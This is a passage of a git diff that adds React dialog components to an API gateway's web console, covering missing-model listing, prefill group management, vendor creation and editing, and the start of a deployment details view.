+          </Button>
+          <Button onClick={() => void onSubmit()} disabled={!canSubmit}>
+            {isSubmitting ? (
+              <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+            ) : null}
+            {t('Extend')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/missing-models-dialog.tsx b/new-api/web/default/src/features/models/components/dialogs/missing-models-dialog.tsx
new file mode 100644
index 0000000..c018610
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/missing-models-dialog.tsx
@@ -0,0 +1,233 @@
+import { useEffect, useMemo, useState } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { ChevronLeft, ChevronRight, Loader2, Plus, Search } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useIsMobile } from '@/hooks/use-mobile'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle,
+} from '@/components/ui/empty'
+import { Input } from '@/components/ui/input'
+import { StatusBadge } from '@/components/status-badge'
+import { getMissingModels } from '../../api'
+import { DEFAULT_PAGE_SIZE } from '../../constants'
+import { modelsQueryKeys } from '../../lib'
+import type { Model } from '../../types'
+import { useModels } from '../models-provider'
+
+type MissingModelsDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+export function MissingModelsDialog({
+  open,
+  onOpenChange,
+}: MissingModelsDialogProps) {
+  const { t } = useTranslation()
+  const { setOpen, setCurrentRow } = useModels()
+  const isMobile = useIsMobile()
+  const [searchTerm, setSearchTerm] = useState('')
+  const [currentPage, setCurrentPage] = useState(1)
+
+  const { data, isLoading } = useQuery({
+    queryKey: modelsQueryKeys.missing(),
+    queryFn: getMissingModels,
+    enabled: open,
+  })
+
+  const missingModels = useMemo(() => data?.data || [], [data?.data])
+  const pageSize = DEFAULT_PAGE_SIZE
+
+  const handleConfigureModel = (modelName: string) => {
+    setCurrentRow({ model_name: modelName } as unknown as Model)
+    setOpen('create-model')
+  }
+
+  useEffect(() => {
+    if (open) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setSearchTerm('')
+
+      setCurrentPage(1)
+    }
+  }, [open])
+
+  const filteredModels = useMemo(() => {
+    if (!searchTerm.trim()) {
+      return missingModels
+    }
+    const keyword = searchTerm.toLowerCase().trim()
+    return missingModels.filter((modelName) =>
+      modelName.toLowerCase().includes(keyword)
+    )
+  }, [missingModels, searchTerm])
+
+  const totalItems = filteredModels.length
+  const totalPages =
+    totalItems === 0 ? 1 : Math.ceil(totalItems / Math.max(1, pageSize))
+
+  useEffect(() => {
+    if (currentPage > totalPages) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setCurrentPage(Math.max(1, totalPages))
+    }
+  }, [currentPage, totalPages])
+
+  const paginatedModels = useMemo(() => {
+    const startIndex = (currentPage - 1) * pageSize
+    const endIndex = startIndex + pageSize
+    return filteredModels.slice(startIndex, endIndex)
+  }, [filteredModels, currentPage, pageSize])
+
+  const displayStart = totalItems === 0 ? 0 : (currentPage - 1) * pageSize + 1
+  const displayEnd =
+    totalItems === 0 ? 0 : Math.min(currentPage * pageSize, totalItems)
+  const showPagination = totalItems > pageSize
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent
+        className='flex max-h-[85vh] max-w-2xl flex-col gap-3 p-4'
+        onOpenAutoFocus={(event) => {
+          if (isMobile) {
+            event.preventDefault()
+          }
+        }}
+      >
+        <DialogHeader className='flex-shrink-0 text-start'>
+          <DialogTitle>{t('Missing Models')}</DialogTitle>
+          <DialogDescription>
+            {t('Models that are being used but not configured in the system')}
+          </DialogDescription>
+        </DialogHeader>
+
+        {isLoading ? (
+          <div className='flex items-center justify-center py-12'>
+            <Loader2 className='h-8 w-8 animate-spin' />
+          </div>
+        ) : missingModels.length === 0 ? (
+          <div className='text-muted-foreground py-12 text-center'>
+            <p>{t('No missing models found.')}</p>
+            <p className='text-sm'>
+              {t('All models in use are properly configured.')}
+            </p>
+          </div>
+        ) : (
+          <div className='flex min-h-0 flex-1 flex-col gap-3 overflow-y-auto'>
+            <div className='flex flex-shrink-0 items-center justify-between gap-3'>
+              <div className='text-muted-foreground text-sm whitespace-nowrap'>
+                {t('Showing')} {displayStart}-{displayEnd} {t('of')}{' '}
+                {totalItems}
+              </div>
+              <div className='relative w-48'>
+                <Search className='text-muted-foreground pointer-events-none absolute top-1/2 left-3 h-4 w-4 -translate-y-1/2' />
+                <Input
+                  value={searchTerm}
+                  onChange={(event) => {
+                    setSearchTerm(event.target.value)
+                    setCurrentPage(1)
+                  }}
+                  placeholder={t('Search models...')}
+                  className='pl-9'
+                  aria-label={t('Search missing models')}
+                />
+              </div>
+            </div>
+
+            {filteredModels.length === 0 ? (
+              <Empty className='border'>
+                <EmptyHeader>
+                  <EmptyMedia variant='icon'>
+                    <Search className='h-5 w-5' />
+                  </EmptyMedia>
+                  <EmptyTitle>{t('No matches found')}</EmptyTitle>
+                  <EmptyDescription>
+                    {t('Try adjusting your search to locate a missing model.')}
+                  </EmptyDescription>
+                </EmptyHeader>
+              </Empty>
+            ) : (
+              <div className='flex-shrink-0 rounded-lg border'>
+                <div className='divide-y'>
+                  {paginatedModels.map((modelName) => (
+                    <div
+                      key={modelName}
+                      className='flex items-center justify-between gap-3 p-3'
+                    >
+                      <div className='min-w-0 flex-1'>
+                        <StatusBadge
+                          label={modelName}
+                          variant='neutral'
+                          copyText={modelName}
+                        />
+                      </div>
+                      <Button
+                        size='sm'
+                        className='flex-shrink-0 gap-1'
+                        onClick={() => handleConfigureModel(modelName)}
+                      >
+                        <Plus className='h-4 w-4' />
+                        Configure
+                      </Button>
+                    </div>
+                  ))}
+                </div>
+
+                <div className='bg-muted/40 flex items-center justify-between border-t px-3 py-2 text-sm'>
+                  <div className='text-muted-foreground text-sm'>
+                    {t('Page {{current}} of {{total}}', {
+                      current: currentPage,
+                      total: totalPages,
+                    })}
+                  </div>
+                  {showPagination && (
+                    <div className='flex items-center gap-2'>
+                      <Button
+                        variant='outline'
+                        size='icon'
+                        className='h-8 w-8'
+                        onClick={() =>
+                          setCurrentPage((prev) => Math.max(1, prev - 1))
+                        }
+                        disabled={currentPage === 1}
+                        aria-label={t('Previous page')}
+                      >
+                        <ChevronLeft className='h-4 w-4' />
+                      </Button>
+                      <Button
+                        variant='outline'
+                        size='icon'
+                        className='h-8 w-8'
+                        onClick={() =>
+                          setCurrentPage((prev) =>
+                            Math.min(totalPages, prev + 1)
+                          )
+                        }
+                        disabled={currentPage === totalPages}
+                        aria-label={t('Next page')}
+                      >
+                        <ChevronRight className='h-4 w-4' />
+                      </Button>
+                    </div>
+                  )}
+                </div>
+              </div>
+            )}
+          </div>
+        )}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/prefill-group-management-dialog.tsx b/new-api/web/default/src/features/models/components/dialogs/prefill-group-management-dialog.tsx
new file mode 100644
index 0000000..2b3eb0c
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/prefill-group-management-dialog.tsx
@@ -0,0 +1,509 @@
+import { useEffect, useMemo, useState } from 'react'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import {
+  Layers3,
+  Loader2,
+  Pencil,
+  Plus,
+  RefreshCcw,
+  Trash2,
+  X,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { cn } from '@/lib/utils'
+import { useIsMobile } from '@/hooks/use-mobile'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import {
+  Dialog,
+  DialogClose,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyMedia,
+  EmptyTitle,
+} from '@/components/ui/empty'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+import { deletePrefillGroup, getPrefillGroups } from '../../api'
+import { prefillGroupsQueryKeys } from '../../lib'
+import type { PrefillGroup } from '../../types'
+import {
+  PREFILL_GROUP_TYPE_META,
+  parseEndpointKeys,
+  parseStringItems,
+} from '../prefill-group-shared'
+
+type PrefillGroupManagementDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onCreateGroup: () => void
+  onEditGroup: (group: PrefillGroup) => void
+}
+
+export function PrefillGroupManagementDialog({
+  open,
+  onOpenChange,
+  onCreateGroup,
+  onEditGroup,
+}: PrefillGroupManagementDialogProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isMobile = useIsMobile()
+  const [deleteState, setDeleteState] = useState<{
+    open: boolean
+    group: PrefillGroup | null
+  }>({ open: false, group: null })
+  const [isDeleting, setIsDeleting] = useState(false)
+
+  const {
+    data,
+    isLoading,
+    isFetching,
+    error,
+    refetch: refetchGroups,
+  } = useQuery({
+    queryKey: prefillGroupsQueryKeys.list(),
+    queryFn: () => getPrefillGroups(),
+    enabled: open,
+  })
+
+  const groups = useMemo(() => data?.data ?? [], [data?.data])
+
+  const sortedGroups = useMemo(
+    () =>
+      [...groups].sort((a, b) => {
+        if (a.type === b.type) {
+          return a.name.localeCompare(b.name)
+        }
+        return a.type.localeCompare(b.type)
+      }),
+    [groups]
+  )
+
+  const normalizedGroups = useMemo(
+    () =>
+      sortedGroups.map((group) => {
+        const meta = PREFILL_GROUP_TYPE_META[group.type] || {
+          label: group.type,
+          badge: 'neutral' as const,
+        }
+        const parsedItems =
+          group.type === 'endpoint'
+            ? parseEndpointKeys(group.items)
+            : parseStringItems(group.items)
+        return { group, meta, parsedItems }
+      }),
+    [sortedGroups]
+  )
+
+  useEffect(() => {
+    if (!open) {
+      setDeleteState({ open: false, group: null })
+      setIsDeleting(false)
+    }
+  }, [open])
+
+  const handleDeleteClick = (group: PrefillGroup) => {
+    setDeleteState({ open: true, group })
+  }
+
+  const handleDeleteConfirm = async () => {
+    if (!deleteState.group) return
+    setIsDeleting(true)
+    try {
+      const response = await deletePrefillGroup(deleteState.group.id)
+      if (response.success) {
+        toast.success(`Deleted "${deleteState.group.name}"`)
+        queryClient.invalidateQueries({
+          queryKey: prefillGroupsQueryKeys.lists(),
+        })
+        setDeleteState({ open: false, group: null })
+      } else {
+        toast.error(response.message || 'Failed to delete group')
+      }
+    } catch (err: unknown) {
+      toast.error((err as Error)?.message || 'Failed to delete group')
+    } finally {
+      setIsDeleting(false)
+    }
+  }
+
+  return (
+    <>
+      <Dialog open={open} onOpenChange={onOpenChange}>
+        <DialogContent
+          showCloseButton={false}
+          className='prefill-dialog-content !top-4 !flex !-translate-y-0 !flex-col !gap-0 !border-none !bg-transparent !p-0 !shadow-none sm:!top-1/2 sm:!-translate-y-1/2'
+          style={{ maxWidth: 'min(100vw, 64rem)' }}
+        >
+          <div
+            className={cn(
+              'prefill-dialog-panel border-border/70 bg-background flex max-h-[calc(100dvh-1.5rem)] flex-col overflow-hidden border shadow-2xl',
+              isMobile ? 'rounded-none' : 'rounded-2xl'
+            )}
+          >
+            <div
+              className={cn(
+                'relative flex flex-col gap-3 border-b px-4 py-4 sm:px-6 sm:py-5',
+                isMobile && 'pt-[calc(env(safe-area-inset-top,0px)+1rem)]'
+              )}
+            >
+              <DialogHeader className='max-w-3xl gap-3 pr-12 text-start sm:pr-0'>
+                <DialogTitle className='flex flex-wrap items-center gap-2 text-xl'>
+                  <Layers3 className='text-foreground/80 h-5 w-5' />
+                  {t('Prefill Group Management')}
+                </DialogTitle>
+                <DialogDescription className='text-base leading-relaxed sm:text-sm'>
+                  {t(
+                    'Create reusable bundles of models, tags, endpoints, and user groups to speed up configuration elsewhere in the console.'
+                  )}
+                </DialogDescription>
+              </DialogHeader>
+
+              <DialogClose asChild>
+                <Button
+                  variant='ghost'
+                  size='icon'
+                  className='text-muted-foreground hover:text-foreground absolute top-4 right-4 rounded-full border border-transparent sm:top-5 sm:right-6'
+                >
+                  <span className='sr-only'>{t('Close dialog')}</span>
+                  <X className='h-4 w-4' />
+                </Button>
+              </DialogClose>
+            </div>
+
+            <div className='flex flex-wrap items-center gap-3 border-b px-4 py-3 text-sm sm:px-6'>
+              <div className='flex flex-wrap items-center gap-2'>
+                <Button size='sm' onClick={onCreateGroup}>
+                  <Plus className='mr-2 h-4 w-4' />
+                  {t('New Group')}
+                </Button>
+                <Button
+                  size='sm'
+                  variant='ghost'
+                  onClick={() => refetchGroups()}
+                  disabled={isFetching}
+                >
+                  {isFetching ? (
+                    <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                  ) : (
+                    <RefreshCcw className='mr-2 h-4 w-4' />
+                  )}
+                  {t('Refresh')}
+                </Button>
+              </div>
+              <StatusBadge
+                label={`${groups.length} group${groups.length === 1 ? '' : 's'}`}
+                variant='neutral'
+                copyable={false}
+              />
+            </div>
+
+            <div
+              className={cn(
+                'flex flex-1 flex-col overflow-hidden px-4 py-4 sm:px-6 sm:py-6',
+                isMobile && 'pb-[calc(env(safe-area-inset-bottom,0px)+1.5rem)]'
+              )}
+            >
+              <div className='flex-1 overflow-y-auto'>
+                <div className='flex flex-col gap-4'>
+                  {error && (
+                    <Alert variant='destructive'>
+                      <AlertTitle>{t('Unable to load groups')}</AlertTitle>
+                      <AlertDescription>
+                        {(error as Error).message ||
+                          'Please retry or refresh the page.'}
+                      </AlertDescription>
+                    </Alert>
+                  )}
+
+                  {isLoading ? (
+                    <div className='flex flex-col items-center justify-center gap-2 py-16 text-center'>
+                      <Loader2 className='text-muted-foreground h-6 w-6 animate-spin' />
+                      <p className='text-muted-foreground text-sm'>
+                        {t('Fetching prefill groups...')}
+                      </p>
+                    </div>
+                  ) : normalizedGroups.length === 0 ? (
+                    <Empty className='border border-dashed'>
+                      <EmptyMedia variant='icon'>
+                        <Layers3 className='h-6 w-6' />
+                      </EmptyMedia>
+                      <EmptyHeader>
+                        <EmptyTitle>{t('No prefill groups yet')}</EmptyTitle>
+                        <EmptyDescription>
+                          {t(
+                            'Create your first group to reuse model, tag, or endpoint selections anywhere in the dashboard.'
+                          )}
+                        </EmptyDescription>
+                      </EmptyHeader>
+                      <EmptyDescription>
+                        {t(
+                          'Prefill groups help you keep complex configurations in sync.'
+                        )}
+                      </EmptyDescription>
+                    </Empty>
+                  ) : isMobile ? (
+                    <div className='space-y-4'>
+                      {normalizedGroups.map(({ group, meta, parsedItems }) => (
+                        <Card key={group.id} className='border-border/60'>
+                          <CardHeader className='flex flex-row items-start justify-between gap-4'>
+                            <div className='space-y-2'>
+                              <CardTitle className='flex flex-wrap items-center gap-2'>
+                                {group.name}
+                                <StatusBadge
+                                  variant={meta.badge}
+                                  size='sm'
+                                  copyable={false}
+                                >
+                                  {meta.label}
+                                  <span className='text-muted-foreground/30'>
+                                    ·
+                                  </span>
+                                  <span className='text-muted-foreground font-mono'>
+                                    #{group.id}
+                                  </span>
+                                </StatusBadge>
+                              </CardTitle>
+                              {group.description ? (
+                                <CardDescription className='line-clamp-2'>
+                                  {group.description}
+                                </CardDescription>
+                              ) : (
+                                <CardDescription className='text-muted-foreground italic'>
+                                  No description provided
+                                </CardDescription>
+                              )}
+                            </div>
+
+                            <div className='flex items-center gap-2'>
+                              <Button
+                                size='icon'
+                                variant='outline'
+                                onClick={() => onEditGroup(group)}
+                              >
+                                <Pencil className='h-4 w-4' />
+                                <span className='sr-only'>Edit group</span>
+                              </Button>
+                              <Button
+                                size='icon'
+                                variant='ghost'
+                                className='text-destructive hover:text-destructive'
+                                onClick={() => handleDeleteClick(group)}
+                              >
+                                <Trash2 className='h-4 w-4' />
+                                <span className='sr-only'>Delete group</span>
+                              </Button>
+                            </div>
+                          </CardHeader>
+                          <CardContent className='space-y-3'>
+                            <div className='text-muted-foreground flex flex-wrap items-center gap-2 text-xs font-medium tracking-wide uppercase'>
+                              <span>Items</span>
+                              <StatusBadge
+                                label={`${parsedItems.length} item${parsedItems.length === 1 ? '' : 's'}`}
+                                variant='neutral'
+                                size='sm'
+                                copyable={false}
+                              />
+                            </div>
+                            {parsedItems.length > 0 ? (
+                              <div className='flex flex-wrap gap-2'>
+                                {parsedItems.slice(0, 6).map((item) => (
+                                  <StatusBadge
+                                    key={item}
+                                    label={item}
+                                    autoColor={item}
+                                    size='sm'
+                                  />
+                                ))}
+                                {parsedItems.length > 6 && (
+                                  <StatusBadge
+                                    label={`+${parsedItems.length - 6} more`}
+                                    variant='neutral'
+                                    size='sm'
+                                    copyable={false}
+                                  />
+                                )}
+                              </div>
+                            ) : (
+                              <p className='text-muted-foreground text-sm'>
+                                {group.type === 'endpoint'
+                                  ? 'No endpoint mappings configured.'
+                                  : 'No items configured yet.'}
+                              </p>
+                            )}
+                          </CardContent>
+                        </Card>
+                      ))}
+                    </div>
+                  ) : (
+                    <div className='rounded-md border'>
+                      <div className='w-full overflow-x-auto'>
+                        <Table className='min-w-[720px]'>
+                          <TableHeader>
+                            <TableRow>
+                              <TableHead>{t('Group')}</TableHead>
+                              <TableHead>{t('Type')}</TableHead>
+                              <TableHead className='min-w-[280px]'>
+                                {t('Items')}
+                              </TableHead>
+                              <TableHead className='w-[120px] text-right'>
+                                {t('Actions')}
+                              </TableHead>
+                            </TableRow>
+                          </TableHeader>
+                          <TableBody>
+                            {normalizedGroups.map(
+                              ({ group, meta, parsedItems }) => (
+                                <TableRow key={group.id}>
+                                  <TableCell className='align-top whitespace-normal'>
+                                    <div className='flex flex-col gap-1'>
+                                      <div className='flex flex-wrap items-center gap-2'>
+                                        <span className='font-medium'>
+                                          {group.name}
+                                        </span>
+                                        <StatusBadge
+                                          label={`#${group.id}`}
+                                          variant='neutral'
+                                          size='sm'
+                                          copyable={false}
+                                          className='font-mono'
+                                        />
+                                      </div>
+                                      {group.description ? (
+                                        <p className='text-muted-foreground text-xs'>
+                                          {group.description}
+                                        </p>
+                                      ) : (
+                                        <p className='text-muted-foreground text-xs italic'>
+                                          No description provided
+                                        </p>
+                                      )}
+                                    </div>
+                                  </TableCell>
+                                  <TableCell className='align-top'>
+                                    <StatusBadge
+                                      label={meta.label}
+                                      variant={meta.badge}
+                                      size='sm'
+                                      copyable={false}
+                                    />
+                                  </TableCell>
+                                  <TableCell className='align-top whitespace-normal'>
+                                    <div className='flex flex-wrap gap-2'>
+                                      {parsedItems.length > 0 ? (
+                                        <>
+                                          {parsedItems
+                                            .slice(0, 6)
+                                            .map((item) => (
+                                              <StatusBadge
+                                                key={item}
+                                                label={item}
+                                                autoColor={item}
+                                                size='sm'
+                                              />
+                                            ))}
+                                          {parsedItems.length > 6 && (
+                                            <StatusBadge
+                                              label={`+${parsedItems.length - 6} more`}
+                                              variant='neutral'
+                                              size='sm'
+                                              copyable={false}
+                                            />
+                                          )}
+                                        </>
+                                      ) : (
+                                        <p className='text-muted-foreground text-sm'>
+                                          {group.type === 'endpoint'
+                                            ? 'No endpoint mappings configured.'
+                                            : 'No items configured yet.'}
+                                        </p>
+                                      )}
+                                    </div>
+                                    <div className='text-muted-foreground mt-2 text-xs font-medium tracking-wide uppercase'>
+                                      {parsedItems.length} item
+                                      {parsedItems.length === 1 ? '' : 's'}
+                                    </div>
+                                  </TableCell>
+                                  <TableCell className='align-top'>
+                                    <div className='flex justify-end gap-2'>
+                                      <Button
+                                        size='icon'
+                                        variant='outline'
+                                        onClick={() => onEditGroup(group)}
+                                      >
+                                        <Pencil className='h-4 w-4' />
+                                        <span className='sr-only'>
+                                          Edit group
+                                        </span>
+                                      </Button>
+                                      <Button
+                                        size='icon'
+                                        variant='ghost'
+                                        className='text-destructive hover:text-destructive'
+                                        onClick={() => handleDeleteClick(group)}
+                                      >
+                                        <Trash2 className='h-4 w-4' />
+                                        <span className='sr-only'>
+                                          Delete group
+                                        </span>
+                                      </Button>
+                                    </div>
+                                  </TableCell>
+                                </TableRow>
+                              )
+                            )}
+                          </TableBody>
+                        </Table>
+                      </div>
+                    </div>
+                  )}
+                </div>
+              </div>
+            </div>
+          </div>
+        </DialogContent>
+      </Dialog>
+
+      <ConfirmDialog
+        open={deleteState.open}
+        onOpenChange={(next) => setDeleteState({ open: next, group: null })}
+        title={t('Delete group')}
+        desc={
+          <p>
+            {t('Are you sure you want to delete')}{' '}
+            <span className='font-medium'>{deleteState.group?.name}</span>
+            {t('? This action cannot be undone.')}
+          </p>
+        }
+        destructive
+        confirmText={isDeleting ? 'Deleting...' : 'Delete'}
+        isLoading={isDeleting}
+        handleConfirm={handleDeleteConfirm}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/prefill-group-management.tsx b/new-api/web/default/src/features/models/components/dialogs/prefill-group-management.tsx
new file mode 100644
index 0000000..d4297b2
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/prefill-group-management.tsx
@@ -0,0 +1,62 @@
+import { useEffect, useState } from 'react'
+import type { PrefillGroup } from '../../types'
+import { PrefillGroupFormDrawer } from '../drawers/prefill-group-form-drawer'
+import { PrefillGroupManagementDialog } from './prefill-group-management-dialog'
+
+type PrefillGroupManagementProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+}
+
+type PrefillView = 'dialog' | 'drawer'
+
+export function PrefillGroupManagement({
+  open,
+  onOpenChange,
+}: PrefillGroupManagementProps) {
+  const [view, setView] = useState<PrefillView>('dialog')
+  const [currentGroup, setCurrentGroup] = useState<PrefillGroup | null>(null)
+
+  useEffect(() => {
+    if (!open) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setView('dialog')
+
+      setCurrentGroup(null)
+    }
+  }, [open])
+
+  const handleDialogOpenChange = (nextOpen: boolean) => {
+    if (!nextOpen) {
+      setView('dialog')
+      setCurrentGroup(null)
+      onOpenChange(false)
+    }
+  }
+
+  const handleDrawerClose = () => {
+    setView('dialog')
+    setCurrentGroup(null)
+  }
+
+  const handleShowDrawer = (group: PrefillGroup | null) => {
+    setCurrentGroup(group)
+    setView('drawer')
+  }
+
+  return (
+    <>
+      <PrefillGroupManagementDialog
+        open={open && view === 'dialog'}
+        onOpenChange={handleDialogOpenChange}
+        onCreateGroup={() => handleShowDrawer(null)}
+        onEditGroup={(group) => handleShowDrawer(group)}
+      />
+      <PrefillGroupFormDrawer
+        open={open && view === 'drawer'}
+        onClose={handleDrawerClose}
+        currentGroup={currentGroup}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/vendor-mutate-dialog.tsx b/new-api/web/default/src/features/models/components/dialogs/vendor-mutate-dialog.tsx
new file mode 100644
index 0000000..39e6da0
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/vendor-mutate-dialog.tsx
@@ -0,0 +1,197 @@
+import { useEffect, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useQueryClient } from '@tanstack/react-query'
+import { Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+import { createVendor, updateVendor } from '../../api'
+import { vendorsQueryKeys, modelsQueryKeys } from '../../lib'
+import { vendorFormSchema, type Vendor } from '../../types'
+
+type VendorMutateDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  currentVendor?: Vendor | null
+}
+
+export function VendorMutateDialog({
+  open,
+  onOpenChange,
+  currentVendor,
+}: VendorMutateDialogProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isEdit = Boolean(currentVendor?.id)
+  const [isSaving, setIsSaving] = useState(false)
+
+  const form = useForm({
+    resolver: zodResolver(vendorFormSchema),
+    defaultValues: {
+      name: '',
+      description: '',
+      icon: '',
+      status: 1,
+    },
+  })
+
+  // Load vendor data for editing
+  useEffect(() => {
+    if (open && isEdit && currentVendor) {
+      form.reset({
+        id: currentVendor.id,
+        name: currentVendor.name,
+        description: currentVendor.description || '',
+        icon: currentVendor.icon || '',
+        status: currentVendor.status || 1,
+      })
+    } else if (open && !isEdit) {
+      form.reset({
+        name: '',
+        description: '',
+        icon: '',
+        status: 1,
+      })
+    }
+  }, [open, isEdit, currentVendor, form])
+
+  const onSubmit = async (values: Record<string, unknown>) => {
+    setIsSaving(true)
+    try {
+      const response = isEdit
+        ? await updateVendor({ ...values, id: currentVendor!.id })
+        : await createVendor(values)
+
+      if (response.success) {
+        toast.success(
+          isEdit ? 'Vendor updated successfully' : 'Vendor created successfully'
+        )
+        queryClient.invalidateQueries({ queryKey: vendorsQueryKeys.lists() })
+        queryClient.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+        onOpenChange(false)
+      } else {
+        toast.error(response.message || 'Operation failed')
+      }
+    } catch (error: unknown) {
+      toast.error((error as Error)?.message || 'Operation failed')
+    } finally {
+      setIsSaving(false)
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>
+            {isEdit ? t('Edit Vendor') : t('Create Vendor')}
+          </DialogTitle>
+          <DialogDescription>
+            {isEdit
+              ? t('Update vendor information for {{name}}', {
+                  name: currentVendor?.name,
+                })
+              : t('Add a new vendor to the system')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-4'>
+            <FormField
+              control={form.control}
+              name='name'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Vendor Name *')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('OpenAI, Anthropic, etc.')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('The unique name for this vendor')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='description'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Description')}</FormLabel>
+                  <FormControl>
+                    <Textarea
+                      placeholder={t('Describe this vendor...')}
+                      rows={3}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='icon'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Icon')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('OpenAI, Anthropic, Google, etc.')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('@lobehub/icons key name')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+                disabled={isSaving}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit' disabled={isSaving}>
+                {isSaving && <Loader2 className='mr-2 h-4 w-4 animate-spin' />}
+                {isSaving ? 'Saving...' : isEdit ? 'Update' : 'Create'}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/dialogs/view-details-dialog.tsx b/new-api/web/default/src/features/models/components/dialogs/view-details-dialog.tsx
new file mode 100644
index 0000000..fb7d0fd
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/dialogs/view-details-dialog.tsx
@@ -0,0 +1,262 @@
+import { useMemo } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { Copy, ExternalLink, Loader2, RefreshCcw } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Separator } from '@/components/ui/separator'
+import { getDeployment, listDeploymentContainers } from '../../api'
+
+export function ViewDetailsDialog({
+  open,
+  onOpenChange,
+  deploymentId,
+}: {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  deploymentId: string | number | null
+}) {
+  const { t } = useTranslation()
+
+  const {
+    data: detailsRes,
+    isLoading: isLoadingDetails,
+    refetch: refetchDetails,
+    isFetching: isFetchingDetails,
+  } = useQuery({
+    queryKey: ['deployment-details', deploymentId],
+    queryFn: () => (deploymentId ? getDeployment(deploymentId) : null),
+    enabled: open && deploymentId !== null,
+  })
+
+  const {
+    data: containersRes,
+    isLoading: isLoadingContainers,
+    refetch: refetchContainers,
+    isFetching: isFetchingContainers,
+  } = useQuery({
+    queryKey: ['deployment-details-containers', deploymentId],
+    queryFn: () =>
+      deploymentId ? listDeploymentContainers(deploymentId) : null,
+    enabled: open && deploymentId !== null,
+  })
+
+  const details = detailsRes?.data
+  const containers = useMemo(() => {
+    const items = containersRes?.data?.containers
+    return Array.isArray(items) ? items : []
+  }, [containersRes?.data?.containers])
+
+  const locations = useMemo(() => {
